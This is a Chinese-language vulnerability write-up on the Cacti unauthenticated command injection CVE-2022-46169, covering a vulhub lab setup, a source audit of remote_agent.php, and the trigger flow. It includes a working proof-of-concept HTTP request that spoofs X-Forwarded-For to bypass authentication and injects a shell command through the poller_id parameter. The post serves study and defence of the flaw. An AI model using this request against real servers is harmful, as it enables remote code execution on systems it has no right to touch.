当前位置: 首页 > news >正文

Cacti 前台命令注入漏洞(CVE-2022-46169)

一、漏洞概述

Cacti 作为开源监控框架,在特定版本中存在严重的命令注入漏洞。未经身份验证的攻击者可通过构造恶意请求,绕过身份验证并在服务器上执行任意代码,风险等级极高1。该漏洞的核心在于 remote_agent.php 文件中存在身份验证绕过与命令注入的双重缺陷,本文将结合源代码进行深度剖析。

二、漏洞环境搭建

复现该漏洞需准备以下环境与工具:

  • 操作系统:Linux(基于 vulhub 平台部署)
  • 辅助工具:burpsuite 抓包工具
  • 漏洞镜像:CVE-2022-46169 对应版本的 Cacti 镜像

搭建步骤

  1. 拉取并部署漏洞环境
    cd vulhub-master/Cacti/CVE-2022-46169/
    docker-compose up -d
    
  2. 访问 http://ip:port,使用默认账户密码(admin/admin)完成初始化安装

    

三、漏洞验证 POC

以下 HTTP 请求可用于验证漏洞存在:

GET /remote_agent.php?action=polldata&local_data_ids[0]=6&host_id=1&poller_id=`touch+/tmp/success` HTTP/1.1
X-Forwarded-For: 127.0.0.1
Host: 192.168.20.150:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) Chrome/137.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Connection: keep-alive

执行后可在服务器 /tmp 目录下生成 success 文件,证明命令注入成功

四、源代码深度审计

1. 身份验证绕过原理

remote_agent.php 的核心验证逻辑位于 remote_client_authorized() 函数,其代码逻辑如下:

function remote_client_authorized() {$client_addr = get_client_addr();$client_name = gethostbyaddr($client_addr);$pollers = db_fetch_assoc('SELECT * FROM poller', true, $poller_db_cnn_id);foreach($pollers as $poller) {if (remote_agent_strip_domain($poller['hostname']) == $client_name || $poller['hostname'] == $client_addr) {return true;}}return false;
}
  • 绕过技巧:通过构造 X-Forwarded-For: 127.0.0.1 请求头,使 $client_addr 被识别为本地 IP

  • 关键缺陷:系统对本地 IP 的信任机制导致验证被绕过,当 $client_addr 为 127.0.0.1 时直接通过主机名校验

2. 命令注入代码分析

命令注入点位于 poll_for_data() 函数的 POLLER_ACTION_SCRIPT_PHP 分支:

case POLLER_ACTION_SCRIPT_PHP:$cactiphp = proc_open(read_config_option('path_php_binary') . ' -q ' . $config['base_path'] . '/script_server.php realtime ' . $poller_id, $cactides, $pipes);
  • 参数传递链$poller_id 由 get_nfilter_request_var('poller_id') 获取,该函数未对输入做严格过滤
  • 执行机制proc_open() 函数直接拼接 $poller_id 并执行系统命令,导致注入代码被执行
  • 触发条件:需通过 action=polldata 参数调用 poll_for_data() 函数,同时满足 local_data_ids 和 host_id 参数的有效性

3. 漏洞触发完整流程

  1. 攻击者构造包含 X-Forwarded-For: 127.0.0.1 的请求头,绕过 remote_client_authorized() 验证
  2. 通过 action=polldata 参数调用 poll_for_data() 函数
  3. 在 $poller_id 参数中注入恶意命令(如 touch /tmp/success
  4. 系统通过 proc_open() 执行包含恶意命令的代码,完成攻击

 

http://www.dtcms.com/a/297358.html

相关文章:

  • Dockerfile 文件及指令详解
  • 《C++初阶之STL》【vector容器:详解 + 实现】
  • 【Docker项目实战】在Docker环境下部署go-file文件分享工具
  • 伯俊科技× OB Cloud:零售业落地AI的“三步走”渐进式发展实践
  • Go、Node.js、Python、PHP、Java五种语言的直播推流RTMP协议技术实施方案和思路-优雅草卓伊凡
  • 冠捷科技 | 内生外化,精准触达,实现数字化转型精准赋能
  • 我从农村来到了大城市
  • (LeetCode 面试经典 150 题) 57. 插入区间 (数组)
  • 学习日志18 python
  • 2025最新蜘蛛池在百度SEO中的应用
  • 如何将荣耀手机的照片传输到 Mac
  • 数据结构2-集合类ArrayList与洗牌算法
  • 百度快排技术分析的核心要素
  • 基于开源链动2+1模式AI智能名片S2B2C商城小程序的私域流量池用户运营研究
  • 如何实现缓存音频功能(App端详解)
  • 代驾小程序系统开发:引领出行行业数字化转型
  • JMeter压测场景 jp@gc - stepping thread group 步长插件的使用
  • 大模型API和秘钥获取地址
  • NodeJS搭建SSE接口服务
  • 深入解析Hadoop MapReduce中Reduce阶段排序的必要性
  • ⭐ Unity 编辑器扩展:简单自动合并多个 Mesh 并导出为 .asset
  • 通过kettle获取API数据
  • 虚拟机docker elasticsearch启动失败
  • JMeter每次压测前清除全部以确保异常率准确(以黑马点评为例、详细图解)
  • 如何提高微信小程序的应用速度
  • 数据赋能(332)——安全与合规——保密管理
  • RocketMQ5.3.1的安装
  • C 语言数组深度解析:从内存布局到安全实践的全维度指南
  • 二开---01
  • 什么是FCR,如何提升FCR?